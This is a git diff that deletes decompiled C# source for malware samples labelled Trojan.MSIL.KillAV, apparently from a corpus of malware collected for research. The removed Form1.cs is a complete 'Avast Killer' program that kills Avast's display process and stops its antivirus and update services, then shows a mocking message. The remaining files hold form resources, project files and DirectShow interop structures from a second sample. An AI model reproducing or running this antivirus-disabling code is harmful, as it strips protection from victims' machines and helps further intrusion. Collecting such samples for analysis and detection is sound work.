AssemblyKeyFile("")] -[assembly: AssemblyDelaySign(false)] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyKeyName("")] -[assembly: AssemblyProduct("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyVersion("1.0.1994.2014")] diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.a-2ab55f7fde92f59cdb807275edacdbe85d467f60755f158533c5f0fe7f90ddc0/Form1.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.a-2ab55f7fde92f59cdb807275edacdbe85d467f60755f158533c5f0fe7f90ddc0/Form1.cs deleted file mode 100644 index e31d9511..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.a-2ab55f7fde92f59cdb807275edacdbe85d467f60755f158533c5f0fe7f90ddc0/Form1.cs +++ /dev/null @@ -1,98 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: KasperKiller.Form1 -// Assembly: AvasatKiller, Version=1.0.1994.2014, Culture=neutral, PublicKeyToken=null -// MVID: 4001194D-BECB-404E-A026-E6EDEDC6AF03 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.a-2ab55f7fde92f59cdb807275edacdbe85d467f60755f158533c5f0fe7f90ddc0.exe - -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.ServiceProcess; -using System.Windows.Forms; - -namespace KasperKiller -{ - public class Form1 : Form - { - private ServiceController serviceController1; - private Button button1; - private Label label1; - private Container components = (Container) null; - - public Form1() => this.InitializeComponent(); - - protected override void Dispose(bool disposing) - { - if (disposing && this.components != null) - this.components.Dispose(); - base.Dispose(disposing); - } - - private void InitializeComponent() - { - this.serviceController1 = new ServiceController(); - this.button1 = new Button(); - this.label1 = new Label(); - this.SuspendLayout(); - this.button1.BackColor = Color.Transparent; - this.button1.FlatStyle = FlatStyle.System; - this.button1.Font = new Font("Verdana", 14.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0); - this.button1.ForeColor = SystemColors.ControlText; - this.button1.Location = new Point(56, 24); - this.button1.Name = "button1"; - this.button1.Size = new Size(184, 72); - this.button1.TabIndex = 0; - this.button1.Text = "Kill Avast!"; - this.button1.Click += new EventHandler(this.button1_Click); - this.label1.ForeColor = SystemColors.InactiveCaptionText; - this.label1.Location = new Point(120, 104); - this.label1.Name = "label1"; - this.label1.Size = new Size(64, 23); - this.label1.TabIndex = 1; - this.label1.Text = "UMM.BIZ"; - this.AutoScaleBaseSize = new Size(5, 13); - this.ClientSize = new Size(292, 126); - this.Controls.Add((Control) this.label1); - this.Controls.Add((Control) this.button1); - this.ImeMode = ImeMode.On; - this.KeyPreview = true; - this.MaximizeBox = false; - this.Name = nameof (Form1); - this.Text = "Avast Killer"; - this.Load += new EventHandler(this.Form1_Load); - this.ResumeLayout(false); - } - - [STAThread] - private static void Main() => Application.Run((Form) new Form1()); - - private void Form1_Load(object sender, EventArgs e) - { - } - - private void button1_Click(object sender, EventArgs e) - { - try - { - foreach (Process process in Process.GetProcesses()) - { - if (process.ProcessName == "ashDisp") - { - process.Kill(); - break; - } - } - foreach (ServiceController service in ServiceController.GetServices()) - { - if ((service.ServiceName == "avast! Antivirus" || service.ServiceName == "aswUpdSv") && service.Status == ServiceControllerStatus.Running) - service.Stop(); - } - int num = (int) MessageBox.Show((IWin32Window) null, "Stupid Avast has been killed by LAZY! hehehe", "Kasper is killed!", MessageBoxButtons.OK, MessageBoxIcon.Hand); - } - catch (Exception ex) - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.a-2ab55f7fde92f59cdb807275edacdbe85d467f60755f158533c5f0fe7f90ddc0/Form1.resx b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.a-2ab55f7fde92f59cdb807275edacdbe85d467f60755f158533c5f0fe7f90ddc0/Form1.resx deleted file mode 100644 index c08f87f7..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.a-2ab55f7fde92f59cdb807275edacdbe85d467f60755f158533c5f0fe7f90ddc0/Form1.resx +++ /dev/null @@ -1,177 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjUwMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAABQAAAL - - - AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAQs= - - - AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAAs= - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjUwMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAABQAAAL - - - BUZvcm0x - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjUwMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAABQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjUwMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAABQAAAL - - - AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAAs= - - - AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAQs= - - - AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAAs= - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjUwMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAABQAAAL - - - AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAAs= - - - AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAAs= - - - AAEAAAD/////AQAAAAAAAAAEAQAAACBTeXN0ZW0uR2xvYmFsaXphdGlvbi5DdWx0dXJlSW5mbwoAAAAGbV9uYW1lCm1fZGF0YUl0ZW0RbV91c2VVc2VyT3ZlcnJpZGUJY3VsdHVyZUlEDG1faXNSZWFkT25seQtjb21wYXJlSW5mbwh0ZXh0SW5mbwdudW1JbmZvDGRhdGVUaW1lSW5mbwhjYWxlbmRhcgEAAAAAAwMDAwMIAQgBIFN5c3RlbS5HbG9iYWxpemF0aW9uLkNvbXBhcmVJbmZvHVN5c3RlbS5HbG9iYWxpemF0aW9uLlRleHRJbmZvJVN5c3RlbS5HbG9iYWxpemF0aW9uLk51bWJlckZvcm1hdEluZm8nU3lzdGVtLkdsb2JhbGl6YXRpb24uRGF0ZVRpbWVGb3JtYXRJbmZvHVN5c3RlbS5HbG9iYWxpemF0aW9uLkNhbGVuZGFyBgIAAAAAygAAAAB/AAAAAQkDAAAACQQAAAAJBQAAAAoKBAMAAAAgU3lzdGVtLkdsb2JhbGl6YXRpb24uQ29tcGFyZUluZm8CAAAACXdpbjMyTENJRAdjdWx0dXJlAAAICH8AAAB/AAAABAQAAAAdU3lzdGVtLkdsb2JhbGl6YXRpb24uVGV4dEluZm8DAAAAC21fbkRhdGFJdGVtEW1fdXNlVXNlck92ZXJyaWRlDW1fd2luMzJMYW5nSUQAAAAIAQjKAAAAAH8AAAAEBQAAACVTeXN0ZW0uR2xvYmFsaXphdGlvbi5OdW1iZXJGb3JtYXRJbmZvHwAAABBudW1iZXJHcm91cFNpemVzEmN1cnJlbmN5R3JvdXBTaXplcxFwZXJjZW50R3JvdXBTaXplcwxwb3NpdGl2ZVNpZ24MbmVnYXRpdmVTaWduFm51bWJlckRlY2ltYWxTZXBhcmF0b3IUbnVtYmVyR3JvdXBTZXBhcmF0b3IWY3VycmVuY3lHcm91cFNlcGFyYXRvchhjdXJyZW5jeURlY2ltYWxTZXBhcmF0b3IOY3VycmVuY3lTeW1ib2wSYW5zaUN1cnJlbmN5U3ltYm9sCW5hblN5bWJvbBZwb3NpdGl2ZUluZmluaXR5U3ltYm9sFm5lZ2F0aXZlSW5maW5pdHlTeW1ib2wXcGVyY2VudERlY2ltYWxTZXBhcmF0b3IVcGVyY2VudEdyb3VwU2VwYXJhdG9yDXBlcmNlbnRTeW1ib2wOcGVyTWlsbGVTeW1ib2wKbV9kYXRhSXRlbRNudW1iZXJEZWNpbWFsRGlnaXRzFWN1cnJlbmN5RGVjaW1hbERpZ2l0cxdjdXJyZW5jeVBvc2l0aXZlUGF0dGVybhdjdXJyZW5jeU5lZ2F0aXZlUGF0dGVybhVudW1iZXJOZWdhdGl2ZVBhdHRlcm4WcGVyY2VudFBvc2l0aXZlUGF0dGVybhZwZXJjZW50TmVnYXRpdmVQYXR0ZXJuFHBlcmNlbnREZWNpbWFsRGlnaXRzCmlzUmVhZE9ubHkRbV91c2VVc2VyT3ZlcnJpZGUVdmFsaWRGb3JQYXJzZUFzTnVtYmVyF3ZhbGlkRm9yUGFyc2VBc0N1cnJlbmN5BwcHAQEBAQEBAQEBAQEBAQEBAAAAAAAAAAAAAAAAAAgICAgICAgICAgICAEBAQEJBgAAAAkHAAAACQYAAAAGCQAAAAErBgoAAAABLQYLAAAAAS4GDAAAAAEsBg0AAAABLAYOAAAAAS4GDwAAAALCpAoGEAAAAANOYU4GEQAAAAhJbmZpbml0eQYSAAAACS1JbmZpbml0eQkLAAAACQwAAAAGFQAAAAElBhYAAAAD4oCwygAAAAIAAAACAAAAAAAAAAAAAAABAAAAAAAAAAAAAAACAAAAAQABAQ8GAAAAAQAAAAgDAAAADwcAAAABAAAACAMAAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFRTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0xLjAuNTAwMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAAAgAAAAIAAAACw== - - - UAAAAA== - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjUwMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAABQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjUwMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAABQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFRTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0xLjAuNTAwMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5Qb2ludAIAAAABeAF5AAAICAIAAAARAAAAEQAAAAs= - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.a-2ab55f7fde92f59cdb807275edacdbe85d467f60755f158533c5f0fe7f90ddc0/Trojan.MSIL.KillAV.a.csproj b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.a-2ab55f7fde92f59cdb807275edacdbe85d467f60755f158533c5f0fe7f90ddc0/Trojan.MSIL.KillAV.a.csproj deleted file mode 100644 index b485dfe4..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.a-2ab55f7fde92f59cdb807275edacdbe85d467f60755f158533c5f0fe7f90ddc0/Trojan.MSIL.KillAV.a.csproj +++ /dev/null @@ -1,46 +0,0 @@ - - - - - Debug - AnyCPU - {F58215FD-B4E7-4716-BA93-7DC83F96DDEB} - WinExe - AvasatKiller - 1.0.1994.2014 - KasperKiller - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.a-2ab55f7fde92f59cdb807275edacdbe85d467f60755f158533c5f0fe7f90ddc0/Trojan.MSIL.KillAV.a.sln b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.a-2ab55f7fde92f59cdb807275edacdbe85d467f60755f158533c5f0fe7f90ddc0/Trojan.MSIL.KillAV.a.sln deleted file mode 100644 index 0bfa44b6..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.a-2ab55f7fde92f59cdb807275edacdbe85d467f60755f158533c5f0fe7f90ddc0/Trojan.MSIL.KillAV.a.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AvasatKiller", "Trojan.MSIL.KillAV.a-2ab55f7fde92f59cdb807275edacdbe85d467f60755f158533c5f0fe7f90ddc0.csproj", "{F58215FD-B4E7-4716-BA93-7DC83F96DDEB}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {F58215FD-B4E7-4716-BA93-7DC83F96DDEB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {F58215FD-B4E7-4716-BA93-7DC83F96DDEB}.Debug|Any CPU.Build.0 = Debug|Any CPU - {F58215FD-B4E7-4716-BA93-7DC83F96DDEB}.Release|Any CPU.ActiveCfg = Release|Any CPU - {F58215FD-B4E7-4716-BA93-7DC83F96DDEB}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/AssemblyInfo.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/AssemblyInfo.cs deleted file mode 100644 index d6825f03..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("")] -[assembly: AssemblyCopyright("")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyTitle("")] -[assembly: AssemblyFileVersion("0.0.0.0")] -[assembly: Guid("22e4b050-4231-4e7e-b7f4-3aea55166ef2")] -[assembly: ComVisible(false)] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AMMediaType.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AMMediaType.cs deleted file mode 100644 index 8bfe34f0..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AMMediaType.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.AMMediaType -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential)] - public class AMMediaType - { - public Guid majorType; - public Guid subType; - [MarshalAs(UnmanagedType.Bool)] - public bool fixedSizeSamples; - [MarshalAs(UnmanagedType.Bool)] - public bool temporalCompression; - public int sampleSize; - public Guid formatType; - public IntPtr unkPtr; - public int formatSize; - public IntPtr formatPtr; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AMTunerEventType.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AMTunerEventType.cs deleted file mode 100644 index 1c5113cf..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AMTunerEventType.cs +++ /dev/null @@ -1,16 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.AMTunerEventType -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public enum AMTunerEventType - { - Changed = 1, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AMTunerModeType.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AMTunerModeType.cs deleted file mode 100644 index 6f6fc729..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AMTunerModeType.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.AMTunerModeType -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [Flags] - [ComVisible(false)] - public enum AMTunerModeType - { - Default = 0, - TV = 1, - FMRadio = 2, - AMRadio = 4, - Dss = 8, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AMTunerSignalStrength.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AMTunerSignalStrength.cs deleted file mode 100644 index df860858..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AMTunerSignalStrength.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.AMTunerSignalStrength -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public enum AMTunerSignalStrength - { - NA = -1, // 0xFFFFFFFF - NoSignal = 0, - SignalPresent = 1, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AMTunerSubChannel.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AMTunerSubChannel.cs deleted file mode 100644 index edd23740..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AMTunerSubChannel.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.AMTunerSubChannel -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public enum AMTunerSubChannel - { - NoTune = -2, // 0xFFFFFFFE - Default = -1, // 0xFFFFFFFF - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AnalogVideoStandard.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AnalogVideoStandard.cs deleted file mode 100644 index 7f922484..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AnalogVideoStandard.cs +++ /dev/null @@ -1,38 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.AnalogVideoStandard -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - [Flags] - public enum AnalogVideoStandard - { - None = 0, - NTSC_M = 1, - NTSC_M_J = 2, - NTSC_433 = 4, - PAL_B = 16, // 0x00000010 - PAL_D = 32, // 0x00000020 - PAL_G = 64, // 0x00000040 - PAL_H = 128, // 0x00000080 - PAL_I = 256, // 0x00000100 - PAL_M = 512, // 0x00000200 - PAL_N = 1024, // 0x00000400 - PAL_60 = 2048, // 0x00000800 - SECAM_B = 4096, // 0x00001000 - SECAM_D = 8192, // 0x00002000 - SECAM_G = 16384, // 0x00004000 - SECAM_H = 32768, // 0x00008000 - SECAM_K = 65536, // 0x00010000 - SECAM_K1 = 131072, // 0x00020000 - SECAM_L = 262144, // 0x00040000 - SECAM_L1 = 524288, // 0x00080000 - PAL_N_COMBO = 1048576, // 0x00100000 - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AudioStreamConfigCaps.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AudioStreamConfigCaps.cs deleted file mode 100644 index 51174c88..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AudioStreamConfigCaps.cs +++ /dev/null @@ -1,27 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.AudioStreamConfigCaps -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential)] - public class AudioStreamConfigCaps - { - public Guid Guid; - public int MinimumChannels; - public int MaximumChannels; - public int ChannelsGranularity; - public int MinimumBitsPerSample; - public int MaximumBitsPerSample; - public int BitsPerSampleGranularity; - public int MinimumSampleFrequency; - public int MaximumSampleFrequency; - public int SampleFrequencyGranularity; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/BitmapInfoHeader.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/BitmapInfoHeader.cs deleted file mode 100644 index e1a1624e..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/BitmapInfoHeader.cs +++ /dev/null @@ -1,27 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.BitmapInfoHeader -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential, Pack = 2)] - public struct BitmapInfoHeader - { - public int Size; - public int Width; - public int Height; - public short Planes; - public short BitCount; - public int Compression; - public int ImageSize; - public int XPelsPerMeter; - public int YPelsPerMeter; - public int ClrUsed; - public int ClrImportant; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/CLSCTX.cs 